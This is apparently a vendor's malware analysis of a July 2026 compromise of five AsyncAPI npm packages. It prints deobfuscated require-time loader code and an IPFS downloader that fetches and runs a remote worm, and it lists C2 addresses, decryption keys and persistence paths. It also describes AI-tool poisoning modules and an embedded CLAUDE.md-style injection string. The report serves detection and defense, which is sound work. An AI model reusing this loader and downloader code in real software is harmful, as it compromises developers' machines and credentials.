At a glance
Executive Summary
On July 14, 2026, five official @asyncapi npm packages were published containing obfuscated remote-code-execution loaders spanning the generator monorepo and the spec-json-schemas repository. Affected packages include @asyncapi/generator (flagship CLI), three generator workspace packages, and @asyncapi/specs, a core schema dependency used by the parser, CLI, and most AsyncAPI tooling.
This was not a typosquat, a rogue npm login, or a maintainer account takeover. An attacker with write access to auto-publish release branches pushed unsigned commits 3eab3ec, 5a70f7b through 689f5b9 on asyncapi/spec-json-schemas that triggered AsyncAPI's trusted GitHub Actions OIDC publish pipelines. The resulting tarballs shipped with valid SLSA provenance attestations: proof of where they were built, not that they were safe.
Analysis of the generator campaign's IPFS Stage-3 payload (sync.js, CID QmQobZSp1…) reveals a bundled framework internally branded Miasma. The decrypted source contains modules for C2 beaconing, persistence, and (when build-time toggles are enabled) credential harvesting, registry propagation, and AI-tool poisoning. In the analyzed build, propagation, recon, and poisonAI toggles are off (see Stage 3). The specs campaign uses a different IPFS CID (Qmet4fhs…) with the same stage-2 downloader pattern; that payload was not decrypted or analyzed.
Key finding: npm install --ignore-scripts does not protect against this malware. The loader runs at require() time, not via lifecycle hooks.
Who is at risk: Any developer or CI job that installed the affected versions, directly or transitively. High-risk paths include require('@asyncapi/specs') (parser, CLI, generator trees), require('@asyncapi/generator'), and lockfiles that resolved to 6.11.2 or generator 3.3.1 / 0.7.1 / 1.1.1 on July 14. Maintainer npm accounts (fmvilas, derberg, asyncapi-bot) were unchanged; the abuse was at the GitHub branch/CI layer.
Download volume (ecosystem reach): Per the npm registry downloads API, these packages see heavy traffic across all versions (not isolated to the malicious releases). In the week ending 2026-07-11, @asyncapi/specs alone recorded ~2.74M downloads; the three generator-family packages combined for ~218k more. That makes specs the highest-blast-radius package because it is pulled transitively by @asyncapi/parser, CLI tooling, and generator dependency trees.
Affected packages (published 2026-07-14):
Download volume (npm registry)
Counts from npm downloads API on 2026-07-14. Figures are all versions of each package in the period, not downloads of the malicious releases alone. They indicate ecosystem reach and transitive exposure, not confirmed compromise count.
@asyncapi/specs dominates because it is a core transitive dependency. A project that only installs @asyncapi/generator can still pull poisoned generator-helpers and may also resolve specs@6.11.2 if its lockfile updated on July 14.
What's changed from prior Miasma campaigns (and what to expect next)
Compared to earlier Miasma / Shai-Hulud waves (TanStack May 2026, Leo Platform June 2026), this AsyncAPI hit is not a marker rotation on the same playbook. Analysis of the miasma-train-p1 build points to a framework upgrade deployed in training mode: persistence and beaconing are on; propagation, credential harvest, and AI poisoning are baked in but toggled off. Defenders should plan for those toggles flipping in a follow-on wave.
1. Initial access: branch protection, not token theft
Prior waves entered through stolen npm maintainer tokens, compromised GitHub accounts, or binding.gyp install hooks. Here, unsigned commits landed on unprotected auto-publish branches (next, alpha, master) and rode legitimate OIDC publish pipelines to npm with valid SLSA provenance. Expect next: campaigns that target release-branch gaps instead of stealing publish tokens first.
2. Staging architecture: tiny tarball, fat IPFS payload
Earlier Miasma builds shipped multi-megabyte worms inside the npm package (index.js replacements). AsyncAPI uses a three-stage chain: a surgical require-time loader in the published tarball, an IPFS downloader (sync.js, ~8.25 MB), then the full runtime. Tarball scanning alone will miss most of the payload. Expect next: smaller stage-1 injections paired with remote staging over IPFS or CDNs, with per-campaign CIDs (generator and specs already use different stage-3 objects).
3. C2 model: blockable HTTP, with decentralized failover
May–June Miasma relied on GitHub-as-C2: commit-search dead drops and staging repo factories, with no attacker IP to block. This build beacons to 85.137.53.71:8080 / :8081, with backup channels over Nostr, IPFS, libp2p/DHT, and an Ethereum contract for address failover. Expect next: hybrid C2 that keeps HTTP for command/exfil but fails over if the IP is taken down.
4. Encryption: HKDF + AES-256-GCM vault
Leo/TanStack samples used Caesar ROT wrappers, AES-128-GCM with hardcoded keys, and L8/PBKDF2 string ciphers. AsyncAPI stage-3 decrypts via HKDF-derived keys (rt-file-key-material-v1, rt-vault-master-key-32b-aaaaaaaa), AES-256-GCM, a printable-character ROT layer, a baked config vault (__RT_BAKED__), and an ECDH spawn certificate chain (maxGen: 4). Expect next: per-wave key material with the same reusable inner framework.
5. Operational mode: miasma-train-p1 is a canary, not the full worm
The decrypted config names campaign miasma-train-p1 with batch settings (CANARY, 5% canary, wave size 100) and toggles that disable npm/PyPI/Ruby/Crates propagation, recon, and poisonAI while leaving persistence enabled. That fits a probe before wider rollout. Expect next: the same framework with toggles on: registry propagation, credential harvest, and AI-tool hooks (Claude, Cursor, Gemini, VSCode) already exist in the codebase.
Attack Flow (End-to-End)
Stage 0: Supply chain (GitHub → npm), two repositories
- Repo 1 (asyncapi/generator): Attacker pushes unsigned commit [3eab3ec](https://github.com/asyncapi/generator/commit/3eab3ec9304aa26081358330491d3cfeb55cc245) (fix: test release workflow on next) to unprotected next branch → release-with-changesets.yml publishes 3 poisoned packages at ~07:10 UTC.
- Repo 2 (asyncapi/spec-json-schemas): Attacker pushes [5a70f7b](https://github.com/asyncapi/spec-json-schemas/commit/5a70f7b9056e9d158ee9c9fef83c2928503272db) → [61a930f](https://github.com/asyncapi/spec-json-schemas/commit/61a930fca7241763e306e31abe4557221e84a76c) → [689f5b9](https://github.com/asyncapi/spec-json-schemas/commit/689f5b96693ab1f82a825b6d7c4ee566b0afc4c6) to alpha then master → if-nodejs-release.yml publishes specs@6.11.2-alpha.1 and specs@6.11.2.
- Common: Author Your Name <you@example.com>, GitHub Actions OIDC publish, SLSA provenance on all five versions.
Stage 1: Require-time loader (in published tarball)
- Developer runs require('@asyncapi/generator*') or require('@asyncapi/specs').
- Trojanized .js calls top-level main() at module load.
- Loader spawns node -e <stage-2> detached with stdio: ignore.
Stage 2: IPFS downloader (node -e inline script)
- Generator packages: https://ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9 → writes sync.js → executes detached.
- Specs packages: https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf → same drop paths, different stage-3 payload.
Stage 3: Dropped sync.js (generator CID analyzed)
- Outer shell: AES-256-GCM + ROT cipher → eval(vaultedSrc).
- Inner bundle: Miasma framework (bootWorm()), C2 beacon, persistence (toggles control spread/recon/poisonAI).
- Specs CID (Qmet4fhs…): separate IPFS object; not decrypted in this analysis.
How It Was Compromised
The attack path was source repository write access on auto-publish branches, not npm registry credentials. Unsigned commits by Your Name <you@example.com> on unprotected release branches were enough to poison five official packages: CI auto-publishes when commit messages match workflow gates, and OIDC trusted publishing signs the output with SLSA provenance.
What was not compromised: npm maintainer accounts, human npm publish tokens, or asyncapi/generator master (clean at analysis time). The abuse was branch/CI scoped.
Shared weakness (both repos): Protected master on generator, but auto-publish branches were not. Push to next / alpha / master with a fix: or feat: message triggers release workflows and npm publish via OIDC. A commit-message prefix is a release convention, not authentication.
# release-with-changesets.yml (generator) / if-nodejs-release.yml (specs)
on:
push:
branches: [master, next, alpha, beta, next-spec, ...]
jobs:
test-nodejs:
if: startsWith(github.event.commits[0].message, 'fix:') || ...
Provenance paradox
npm metadata shows publisher GitHub Actions via OIDC trusted publisher, with SLSA provenance on all poisoned packages. The CI pipelines genuinely built and signed malicious source. Provenance proves origin, not safety.
Stage 1: Require-Time Loader
Two injection styles were used, both firing at require() time:
Generator packages: decoy code sandwich
Each trojanized file follows the same structure:
- 50–70 lines of legitimate utility code
- One line: entire obfuscated loader + string array (thousands of characters)
- 50–70 lines of legitimate utility code
In @asyncapi/generator-components@0.7.1, the loader sits inside lib/utils/ErrorHandling.js between real error-helper functions like invalidParams() and missingAsyncAPIDocument(). Code review that skims the file top and bottom sees only legitimate AsyncAPI generator code.
Obfuscation: obfuscator.io string-array encoding
The loader uses a standard obfuscator.io pattern:
- String array (_0x2d89()) containing base64-encoded strings over a custom alphabet
- Array rotation loop (while(!![]) + push/shift) to obscure indices
- Decoder function (_0x1dd2) with custom base64 alphabet
- Runtime resolution of require('child_process'), require('https'), etc.
Stage 1 entry point (deobfuscated)
const { spawn } = require('child_process');
async function main() {
try {
spawn('node', ['-e', STAGE2_SCRIPT], {
detached: true,
stdio: 'ignore',
windowsHide: true,
}).unref();
} catch (e) {
console.error(e.message);
}
}
main(); // ← top-level: fires on require(), bypasses --ignore-scripts@asyncapi/specs: main entry point injection
In @asyncapi/specs@6.11.2, the loader is not hidden in a utility file; it is prepended to the package main entry index.js. The file uses ESM import syntax for Node built-ins, then calls main() before the legitimate schema exports:
import { spawn } from 'child_process';
async function main() {
spawn('node', ['-e', STAGE2_OBFUSCATED_DOWNLOADER], {
detached: true,
stdio: 'ignore',
windowsHide: true,
}).unref();
}
main();
module.exports = {
schemas: { '2.0.0': require('./schemas/2.0.0.json') /* ... */ },
schemasWithoutId: {
/* ... */
},
};Impact: Any code path that require('@asyncapi/specs') fires the loader, including @asyncapi/parser, @asyncapi/cli, and generator dependency trees. The obfuscation uses a different decoder (_0x5af5e1 / _0x285e) but the same stage-2 IPFS downloader logic.
Trojanized index.js SHA256: 8351d251cf0b5a0bd82242deaa0a14e3e1394418d55c0f4259dac4303b79fc0c
Trigger paths for developers
require('@asyncapi/generator');
require('@asyncapi/generator-components');
require('@asyncapi/generator-helpers');
require('@asyncapi/specs'); // parser, CLI, many tools
// Or transitively:
npm install @asyncapi/generator
// → pulls generator-helpers@1.1.1 (also trojanized)
npm install @asyncapi/parser
// → may pull specs@6.11.2 if lockfile not pinned
Stage 2: IPFS Downloader
Both campaigns use the same stage-2 logic: an obfuscated node -e inline script that downloads a remote payload via https.get() and executes it detached as sync.js. Full decoded generator script: [stage2_decoded.js](./stage2_decoded.js).
Two stage-3 payloads, one downloader pattern
// Generator campaign (deobfuscated)
const FILE_URL = 'https://ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9';
// Specs campaign (decoded from index.js string array)
const FILE_URL = 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf';
const FILE_NAME = 'sync.js';
// Platform drop directories (both campaigns):
// win32: %LOCALAPPDATA%/NodeJS/sync.js
// darwin: ~/Library/Application Support/NodeJS/sync.js
// linux: ~/.local/share/NodeJS/sync.js
// fallback: ~/.config/node/sync.js
await downloadFile(FILE_URL, dest);
spawn('node', [dest], { detached: true, stdio: 'ignore', windowsHide: true });
QmQobZSp1… (CIDv0) and bafybeibetz7kpiiwcythm5m463skis7bhqb6dkwteqmuot67hy2sxsf6nq (CIDv1 filename on a user-provided artifact) produced SHA256 24b9ee242f21a73b55f7bb3297eafb33c60840907386b542ed79fc6b72365168 at 8,254,481 bytes. We did not independently re-derive the CID multihash conversion in this analysis. The specs CID (Qmet4fhs…) is a separate payload; it was not decrypted here.
Stage 3: Miasma Worm Framework (sync.js, generator CID)
Note: This section covers the generator campaign stage-3 payload (QmQobZSp1…, analyzed). The specs campaign uses CID Qmet4fhs… (same downloader and drop paths, but a separate IPFS object not decrypted here).
Stage 3 is not a small dropper. It is an 8.25 MB bundled worm runtime built from a monorepo (packages/core, packages/active-runtime, packages/build-pipeline) and shipped as a single sync.js file dropped to disk by Stage 2.
Loader wrapper (outer shell)
The on-disk file is a 48-line async IIFE that decrypts and executes an inner payload. No require() beyond node:crypto appears in the wrapper; the 3 MB inner bundle is fully self-contained after decryption.
Decryption chain:
- HKDF(rt-vault-master-key-32b-aaaaaaaa, info=rt-baked-key) → decrypt _be blob → JSON campaign config → globalThis.__RT_BAKED__
- HKDF(rt-file-key-material-v1, info=rt-file-key) → AES-256-GCM decrypt sourceBundle → ROT cipher decode (shift=4, range=33..126) → vaultedSrc (~3 MB JavaScript)
- eval(vaultedSrc) → Miasma runtime boots
Hardcoded key material (found in wrapper):
Spawn certificate chain (ECDH secp256k1, depth-limited to 4 generations):
[
{
"issuerPub": "0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e",
"childPub": "0414e203b55a728390486ae2ed5b65659ed428e96a1c4d5e588c39fb781f33ec460d87e3c5038bce7aaede47d89200195497d89b2f3de1b305a011b0f4c0590443",
"depth": 1
},
{
"issuerPub": "0414e203b55a728390486ae2ed5b65659ed428e96a1c4d5e588c39fb781f33ec460d87e3c5038bce7aaede47d89200195497d89b2f3de1b305a011b0f4c0590443",
"childPub": "",
"depth": 1
}
]Each child worm must present a valid signed spawn chain tracing back to the attacker's root public key. This enables multi-hop propagation with cryptographic lineage.
Baked campaign configuration
Decrypted campaign block: [stage3_baked.json](./stage3_baked.json).
C2 and infrastructure endpoints (IOCs; do not connect):
Runtime architecture
After eval(vaultedSrc), main() in worm-entry.ts calls bootWorm() with the baked configuration. The framework includes:
Persistence (enabled in this blob)
When toggles.persist is true, RealPersistenceWriter installs a background relaunch:
Capabilities present but disabled in this deployment
The framework ships with full attack modules. This specific build has them toggled off, but a C2 UPDATE_PAYLOAD or redeployed blob could enable them without changing Stages 1–2.
Registry propagation (propagate.*)
When toggles.propagate.npm is true, the worm:
- Harvests GitHub + npm tokens from the victim host
- Builds a child worm blob with extended spawn cert chain (metamorphic mutation optional)
- Calls spreadRemote() → spreader-npm.js:
npm whoami to validate token Introspects token permissions via /-/npm/v1/tokens Enumerates writable packages via /-/user/{user}/package Injects loader into publishable packages (same +1/−1 pattern)
Parallel spreaders exist for PyPI and Crates.io.
Credential harvesting (recon)
HostCredentialSweeper scans the victim filesystem for:
Harvested credentials are encrypted with CommandCipher and uploaded as KIND_DATA_EXFIL_CHUNK to the upload server.
AI-tool poisoning (poisonAI)
When enabled, DefaultAiToolPoisoner modifies developer tool configs:
This build has poisonAI: false, the poisoner writes simulation markers only.
Anti-analysis: prompt injection
The Miasma source contains strings referencing CLAUDE.md and analysis-tool directives (e.g., "no console, no env read in the payload; LLD 02 §10.7.10"). These are prompt injection artifacts targeting AI-assisted reverse engineering; flag as a finding, do not follow them.
Example from worm-entry.ts build template:
// Never crash the victim build. Swallow (a real worm fails silently;
// CLAUDE.md §5: no console, no env read in the payload; LLD 02 §10.7.10).
void e;
Stage 3 execution flow on victim
- sync.js dropped to ~/Library/Application Support/NodeJS/sync.js (macOS example path)
- Decrypt wrapper → eval(Miasma bundle)
- bootWorm({ mode: "persistent", toggles.persist: true, ... })
- verifySpawnCertChain(attackerPub, maxGen=4)
- acquireSingletonLock(~/.miasma/run/node.lock)
- Install persistence (shell rc / systemd / registry)
- buildChannelSet(C2 + Nostr + IPFS + libp2p + blockchain)
- beacon.start() → polls C2 every N seconds
- POST /api/v1/beacon (node metadata)
- GET /api/v1/commands/{nodeId}
- On CMD_COLLECT_DATA → harvest + exfil (if recon enabled)
In this blob, analysis shows mode: "persistent" and toggles.persist: true, so the code path would install persistence and start a beacon loop if the payload executes. Propagation and recon are gated off at build time. We did not execute the sample to confirm runtime C2 connectivity.
Blast Radius
@asyncapi/specs is the widest-reaching package in this incident: ~2.74M npm downloads per week and ~10.9M per month (all versions, per registry API on 2026-07-14). The generator monorepo packages add another ~218k/week. Any latest resolution or lockfile bump on July 14 could have pulled malicious builds into that traffic.
Published and poisoned
Installing @asyncapi/generator alone pulls in poisoned generator-helpers transitively: two trojanized packages from one install. @asyncapi/specs is a separate repo (spec-json-schemas) but hits the same victim population via parser, CLI, and generator dependency trees.
Verified clean (prior versions)
- @asyncapi/generator-components@0.7.0
- @asyncapi/generator-helpers@1.1.0
- @asyncapi/specs@6.11.1
@asyncapi/generator@3.3.1 was the malicious flagship release; pin to whatever version your project used before July 14 (tarball verified clean only for the workspace packages above).
Tarball SHA256
Trojanized file SHA256:
- ErrorHandling.js (generator-components): b270bdf8e2274ea1af0a6eed74d8f10e5fe61012d6cc226a43cc7cc7fd9f6292
- index.js (specs): 8351d251cf0b5a0bd82242deaa0a14e3e1394418d55c0f4259dac4303b79fc0c
Timeline (UTC)
Detection
Lockfile grep
grep -E '@asyncapi/generator(-components|-helpers)?": "(3\.3\.1|0\.7\.1|1\.1\.1)"' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
grep -E '@asyncapi/specs": "6\.11\.2' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
Installed package scan
# Generator campaign
grep -rl "_0x1dd2" node_modules/@asyncapi/generator* 2>/dev/null
# Specs campaign
grep -rl "_0x5af5e1" node_modules/@asyncapi/specs 2>/dev/null
grep -rl "Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf" node_modules/@asyncapi/specs 2>/dev/null
Host artifact hunt
# sync.js drop path (macOS)
ls -la "$HOME/Library/Application Support/NodeJS/sync.js"
# Miasma persistence markers (Linux)
ls -la ~/.config/systemd/user/*monitor*
# Miasma home artifacts
find "$HOME" -path "*/.miasma/*" 2>/dev/null
find "$HOME" -path "*/.cache/.sys_cache/.diag.enc" 2>/dev/null
Network
Monitor egress from developer/CI hosts to:
- ipfs.io with path /ipfs/Qm or /ipfs/bafy
- 85.137.53.71 ports 8080, 8081, 8091
- wss://relay.damus.io, wss://relay.nostr.com/
Code signatures
Generator campaign
- _0x1dd2
- ipfs.io/ipfs/QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9
Specs campaign
- _0x5af5e1
- _0x285e
- ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf
Both campaigns (stage 1–2 in npm tarballs)
- spawn('node', ['-e'
- sync.js
- ipfs.io/ipfs/
Stage 3 / dropped sync.js only (generator CID, not in npm tarballs)
- bootWorm
- miasma-train-p1
- rt-file-key-material-v1
- rt-vault-master-key-32b-aaaaaaaa
Full IOC packs: [iocs.md](./iocs.md), [asyncapi-specs-6.11.2/analysis/iocs.md](../asyncapi-specs-6.11.2/analysis/iocs.md)
Remediation
- Search lockfiles for versions 3.3.1, 0.7.1, 1.1.1, 6.11.2, 6.11.2-alpha.1
- Remove affected versions; pin to verified-clean prior releases (specs@6.11.1, etc.)
- Delete node_modules and reinstall from clean lockfile
- Hunt for sync.js in host drop directories
- Hunt for Miasma persistence (shell RC blocks, systemd user units, HKCU Run keys)
- Hunt for detached node processes with -e or sync.js in command line
- Rotate credentials on any machine that installed these versions (npm, GitHub, AWS, CI tokens)
- Block/monitor egress to 85.137.53.71 and ipfs.io from CI/build agents
- Review shell RC files (~/.zshrc, ~/.bashrc) for injected nohup blocks
Lessons Learned
1. Provenance ≠ safety
SLSA attestations on all five poisoned packages prove they were built by the projects' real CI from attacker-controlled commits. They do not prove the source was benign.
2. Release branches and default branches are production
generator's next auto-published to npm without branch protection. In spec-json-schemas, the attack reached master itself. Any branch that triggers npm publish must be guarded like production, including the default branch.
3. --ignore-scripts is not enough
Require-time execution bypasses install-script defenses entirely.
4. Commit message gates are not security controls
The fix: prefix check is a release convention, not authentication.
5. Stage 3 can dwarf Stages 1–2
A one-line require()-time loader can pull an 8 MB worm framework with C2, persistence, multi-registry propagation, and AI-tool poisoning. Dependency review must consider second-stage payloads, not just install scripts.
6. Main entry points are high-value targets
@asyncapi/specs demonstrates a more aggressive injection: the loader lives in index.js, the package main. No skimming past utility files; every consumer triggers execution. High-trust packages with simple entry points deserve the same scrutiny as install scripts.
Recommended branch protection
Indicators of Compromise (Summary)
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:
.avif)





